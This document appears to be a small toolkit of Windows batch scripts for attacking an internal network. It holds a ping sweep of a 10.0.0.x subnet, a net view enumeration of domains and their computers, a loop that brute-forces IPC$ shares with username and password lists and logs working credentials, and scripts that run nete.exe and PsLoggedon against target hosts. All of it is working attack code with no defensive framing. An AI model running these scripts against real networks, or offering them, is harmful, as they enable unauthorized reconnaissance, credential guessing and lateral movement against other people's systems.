@echo off
@for  /L %%p in (1,1,255) do (
@for /F "tokens=1,2,3,4* usebackq delims=: " %%L in (`@ping -n 1 10.0.0.%%p ^| find "Reply"`) do (
  echo %%N >> alive.txt
)
)
@exit

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令執行成功" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (
@echo =====domain:%%J========
@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) DO (
@FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`echo %%i`) do (
@FOR /F "tokens=1,2,3,4* usebackq delims=: " %%K IN (`@ping -a -n 1 -w 100 %%a ^|findstr "Pinging"`) do (
@echo \\%%L %%M  >> computer_ip.txt
))))

@echo off
@FOR /F %%P IN (ip.txt) DO FOR /F %%K IN (user.txt) DO FOR /F %%J IN (passwd.txt) DO NET USE \\%%P\ipc$ %%J /USER:%%K  & IF NOT errorlevel 1 (echo ip:%%P username:%%K password:%%J >>ok.txt )  
@exit

 for /F "tokens=1,2,3,4* usebackq delims= " %%P in (ip.txt) do (for  /F "tokens=1,2,3,4,* usebackq delims=_" %%k in (`@nete.exe /O /Z \\%%P`) do echo tar-ip:%%P info:%%k >> ok.txt)
@exit

 ===========

@echo off
@FOR /F %%P IN (ip.txt)  DO PsLoggedon.exe  /accepteula -l -x \\%%P  >>ok.txt
@exit